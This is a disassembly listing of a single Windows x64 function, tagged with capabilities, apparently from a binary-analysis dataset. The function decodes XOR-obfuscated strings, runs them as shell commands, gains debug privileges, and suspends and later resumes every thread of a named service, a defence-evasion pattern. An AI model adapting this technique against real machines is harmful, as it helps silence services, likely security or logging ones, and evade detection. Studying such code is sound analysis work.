Function at 0x1400d9b70
Capabilities:
Acquire debug privileges
Encode data using xor
Enumerate threads
Execute command
Query or enumerate registry value
Query service status
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x10]
sub rsp, 0x110
movaps xmmword [rsp + 0x100], xmm6
mov rax, qword [0x14018c080]
xor rax, rsp
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [str.jchhxsc]
movzx eax, word [0x140174238]
xor ebx, ebx
movups xmm1, xmmword [0x140174228]
mov r12d, dword [reloc.WS2_32.dll_accept]
mov edi, ebx
mov dword [rbp - 0x7c], 4
mov dword [rbp - 0x80], 4
lea r13d, [rbx + 1]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp r12d, 2
jl 0x1400d9d2a
movdqa xmm0, xmmword [0x1401760b0]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x140176230]
movdqa xmm6, xmmword [0x140175f70]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x20
jl 0x1400d9c20
cmp edi, 0x22
jge 0x1400d9d70
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 0x22
jl 0x1400d9d40
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400da296
cmp byte [reloc.WLDAP32.dll_Ordinal_60], bl
mov eax, dword [0x1401742d4]
mov dword [rsp + 0x30], eax
je 0x1400d9e80
cmp r12d, 2
jl 0x1400d9e3f
movdqa xmm3, xmmword [0x140175f00]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140176230]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140176230]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140175f70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401760b0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x1400d9e80
lea r8, [rsp + 0x30]
mov edi, ebx
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 4
jl 0x1400d9e50
mov rcx, qword [rsp + 0x38]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x7c]
lea rax, [rbp - 0x78]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400da28b
cmp dword [rbp - 0x78], r13d
jne 0x1400da28b
movups xmm0, xmmword [0x140174260]
mov edi, ebx
movups xmm1, xmmword [0x140174270]
movzx eax, word [0x1401742b8]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140174280]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x1401742a0]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x1401742b0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x140174290]
mov word [rbp - 0x18], ax
movzx eax, byte [0x1401742ba]
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x16], al
cmp r12d, 2
jl 0x1400da05a
movdqa xmm0, xmmword [0x1401760b0]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x140176230]
movdqa xmm6, xmmword [0x140175f70]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x58
jl 0x1400d9f50
cmp edi, 0x5b
jge 0x1400da0a0
movsxd rax, edi
lea r8, [rbp - 0x70]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 0x5b
jl 0x1400da070
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp - 0x70]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400da0b5
movups xmm0, xmmword [str.JRNHYQH.am1dj_ggjLmjv_uiv_]
xor eax, eax
lea rdi, [rbp - 0x70]
cmp byte [0x1401742d3], bl
rep stosb byte [rdi], al
mov eax, dword [0x1401742d0]
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], eax
je 0x1400da280
mov edi, ebx
cmp r12d, 2
jl 0x1400da23a
movdqa xmm0, xmmword [0x1401760b0]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x140176230]
movdqa xmm6, xmmword [0x140175f70]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x10
jl 0x1400da130
cmp edi, 0x14
jge 0x1400da280
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 0x14
jl 0x1400da250
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400da335
mov rdi, qword [rsp + 0x30]
lea r8, [rsp + 0x70]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400da32a
mov rax, qword [rsp + 0x70]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rbx
mov r9d, reloc.WS2_32.dll_recv
xor edx, edx
mov qword [rsp + 0x44], rax
mov rcx, rdi
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400da32a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], bl
mov eax, dword [0x1401742d8]
mov dword [rsp + 0x30], eax
je 0x1400da410
cmp r12d, 2
jl 0x1400da3d7
movdqa xmm3, xmmword [0x140175f00]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140176230]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140176230]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140175f70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401760b0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x1400da410
lea r8, [rsp + 0x30]
mov edi, ebx
nop
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 4
jl 0x1400da3e0
xor edx, edx
xor ecx, ecx
mov r14d, ebx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x1400dac48
mov r8d, 4
mov qword [rsp + 0x140], rsi
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
je 0x1400da482
lea rax, [rsp + 0x30]
mov r9d, Ordinal_41
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
mov rcx, rsi
cmovne r14d, dword [rsp + 0x5c]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test r14d, r14d
je 0x1400dac40
xor edx, edx
mov qword [rsp + 0x148], r15
mov edi, ebx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400dac38
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], Ordinal_32
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400da522
cmp dword [rsp + 0x4c], r14d
jne 0x1400da508
mov r8d, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1400da508
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
mov rcx, rsi
cmovne edi, r13d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], Ordinal_32
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400da4d0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400dac38
cmp byte [reloc.WLDAP32.dll_Ordinal_60], bl
mov eax, dword [str.zVH_lTWSZZ_a16_54._5M]
mov dword [rsp + 0x30], eax
je 0x1400da610
cmp r12d, 2
jl 0x1400da5d5
movdqa xmm3, xmmword [0x140175f00]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140176230]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140176230]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140175f70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401760b0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x1400da610
lea r8, [rsp + 0x30]
mov edi, ebx
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 4
jl 0x1400da5e0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140174350]
mov edi, ebx
mov dword [rsp + 0x50], eax
movzx eax, word [0x140174354]
mov word [rsp + 0x54], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x56], al
movups xmm0, xmmword [str.uUZXXZ]
movups xmmword [rsp + 0x40], xmm0
cmp r12d, 2
jl 0x1400da79a
movdqa xmm0, xmmword [0x1401760b0]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x140176230]
movdqa xmm6, xmmword [0x140175f70]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x10
jl 0x1400da690
cmp edi, 0x17
jge 0x1400da7e0
movsxd rax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 0x17
jl 0x1400da7b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x40]
call fcn.1400895c0
lea rdx, [0x140089790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140174320]
mov ecx, ebx
mov dword [rsp + 0x60], eax
movzx eax, word [0x140174324]
mov word [rsp + 0x64], ax
movzx eax, byte [0x140174326]
mov byte [rsp + 0x66], al
movups xmm0, xmmword [str.zVR_V]
movups xmm1, xmmword [0x140174310]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp r12d, 2
jl 0x1400da98a
movdqa xmm0, xmmword [0x1401760b0]
lea rdx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x140176230]
movdqa xmm6, xmmword [0x140175f70]
movdqa xmmword [rsp + 0x70], xmm0
mov edi, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edi
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edi
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x1400da880
cmp ecx, 0x27
jge 0x1400da9ce
movsxd rax, ecx
lea rdi, [rsp + 0x40]
add rdi, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea rdi, [rdi + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul edx, eax, 0x39
add dl, cl
inc ecx
xor byte [rdi - 1], dl
cmp ecx, 0x27
jl 0x1400da9a0
lea rcx, [rsp + 0x40]
call fcn.140023690
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor edx, edx
mov edi, ebx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400dac38
xorps xmm0, xmm0
mov dword [rsp + 0x40], Ordinal_32
xor eax, eax
lea rdx, [rsp + 0x40]
mov rcx, r15
mov qword [rsp + 0x54], rax
movups xmmword [rsp + 0x44], xmm0
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400daa6b
cmp dword [rsp + 0x4c], r14d
jne 0x1400daa59
mov r8d, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1400daa59
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
mov rcx, rsi
cmovne edi, r13d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400daa21
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400dac38
mov eax, dword [0x140174250]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140174254]
mov byte [rsp + 0x54], al
movups xmm0, xmmword [0x140174240]
movups xmmword [rsp + 0x40], xmm0
cmp r12d, 2
jl 0x1400dabec
movdqa xmm0, xmmword [0x1401760b0]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140175f00]
movdqa xmm4, xmmword [0x140176230]
movdqa xmm6, xmmword [0x140175f70]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
mov eax, ebx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140176040]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x10
jl 0x1400daae0
cmp eax, 0x15
jge 0x1400dac2e
movsxd rax, ebx
lea rdi, [rsp + 0x40]
add rdi, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea rdi, [rdi + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r13d
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
inc ebx
xor byte [rdi - 1], cl
cmp ebx, 0x15
jl 0x1400dac00
lea rcx, [rsp + 0x40]
call fcn.140023690
mov r15, qword [rsp + 0x148]
mov rsi, qword [rsp + 0x140]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1401468a0
mov rbx, qword [rsp + 0x150]
movaps xmm6, xmmword [rsp + 0x100]
add rsp, 0x110
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret